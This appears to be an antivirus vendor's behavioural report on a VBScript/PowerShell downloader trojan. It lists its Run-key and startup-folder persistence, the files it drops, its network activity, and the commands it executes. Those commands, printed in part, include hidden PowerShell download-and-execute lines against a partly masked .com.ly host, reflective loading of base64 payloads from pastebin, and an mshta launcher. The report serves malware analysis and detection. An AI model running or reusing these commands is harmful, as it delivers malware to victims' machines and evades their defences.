Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN] 'sdsd.vbs' = 'WScript.exe //b //e:vbscript "%TEMP%\sdsd.vbs"'
- [<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN] 'dgdgpoiopiopi.vbs' = 'WScript.exe //b //e:vbscript "%TEMP%\dgdgpoiopiopi.vbs"'
Creates or modifies the following files
- %APPDATA%\microsoft\windows\start menu\programs\startup\<File name>.vbs
- %APPDATA%\microsoft\windows\start menu\programs\startup\dsgsdgsdgsdg.vbs
- %APPDATA%\microsoft\windows\start menu\programs\startup\docws.vbs
- %APPDATA%\microsoft\windows\start menu\programs\startup\sdsd.vbs.vbs
- %APPDATA%\microsoft\windows\start menu\programs\startup\dgdgpoiopiopi.vbs.vbs
Malicious functions
Downloads and executes
- http://li####020.com.ly/google01.mp3 as %temp%\lovefhdfhdf.vbs
- http://li####020.com.ly/tr.mp3 as %temp%\nono.vbs
- http://li####020.com.ly/pic.mp3 as %temp%\love01.vbs
- http://li####020.com.ly/google0rvi.mp3 as %temp%\hsucsyfsgsd5q1.vbs
- http://li####020.com.ly/ad.mp3 as %temp%\ad.vbs
Downloads
- https://pastebin.com/raw/rql02r6c
- https://pastebin.com/raw/h2jdyyvv
- https://pastebin.com/raw/d46ekc57
Modifies file system
Creates the following files
- nul
- %TEMP%\love01.vbs
- %TEMP%\nono.vbs
- %TEMP%\ad.vbs
- %TEMP%\hsucsyfsgsd5q1.vbs
- %TEMP%\lovefhdfhdf.vbs
- %TEMP%\sdsd.vbs
- %TEMP%\dgdgpoiopiopi.vbs
Network activity
TCP
HTTP GET requests
- http://li####020.com.ly/google01.mp3
- http://li####020.com.ly/pic.mp3
- http://li####020.com.ly/ad.mp3
- http://li####020.com.ly/TR.mp3
- http://li####020.com.ly/google0rvi.mp3
UDP
- DNS ASK li####020.com.ly
- DNS ASK pa###bin.com
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\wscript.exe' "%TEMP%\HsUCsYfsgsd5Q1.vbs"
- '<SYSTEM32>\wscript.exe' "%TEMP%\love01.vbs"
- '<SYSTEM32>\wscript.exe' "%TEMP%\lovefhdfhdf.vbs"
- '<SYSTEM32>\wscript.exe' "%TEMP%\ad.vbs"
- '<SYSTEM32>\wscript.exe' "%TEMP%\nono.vbs"
- '<SYSTEM32>\cmd.exe' /c ping 127.0.0.1 -n 10 > nul & mshta.exe vbscript:CreateObject("Wscript.Shell").Run("powershell.exe -noexit -command [Reflection.Assembly]::Load([System.Convert]::FromBase64String((New-Object ...' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('http://li####020.com.ly/google01.mp3','%TEMP%\lovefhdfhdf.vbs');Start-Process '%TEMP%\love...' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('http://li####020.com.ly/TR.mp3','%TEMP%\nono.vbs');Start-Process '%TEMP%\nono.vbs'' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('http://li####020.com.ly/pic.mp3','%TEMP%\love01.vbs');Start-Process '%TEMP%\love01.vbs'' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('http://li####020.com.ly/google0rvi.mp3','%TEMP%\HsUCsYfsgsd5Q1.vbs');Start-Process '%TEMP%...' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('http://li####020.com.ly/ad.mp3','%TEMP%\ad.vbs');Start-Process '%TEMP%\ad.vbs'' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -noexit -command [Reflection.Assembly]::Load([System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/rQL02r6C').replace('#$$','A'))).EntryPoint.In...' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -noexit -command [Reflection.Assembly]::Load([System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/H2JdYYVV').replace('#$$','A'))).EntryPoint.In...' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -noexit -command [Reflection.Assembly]::Load([System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/d46Ekc57').replace('$%$','A'))).EntryPoint.In...' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' /c ping 127.0.0.1 -n 10 > nul & mshta.exe vbscript:CreateObject("Wscript.Shell").Run("powershell.exe -noexit -command [Reflection.Assembly]::Load([System.Convert]::FromBase64String((New-Object ...
- '<SYSTEM32>\ping.exe' 127.0.0.1 -n 10
- '<SYSTEM32>\mshta.exe' vbscript:CreateObject("Wscript.Shell").Run("powershell.exe -noexit -command [Reflection.Assembly]::Load([System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://pas...
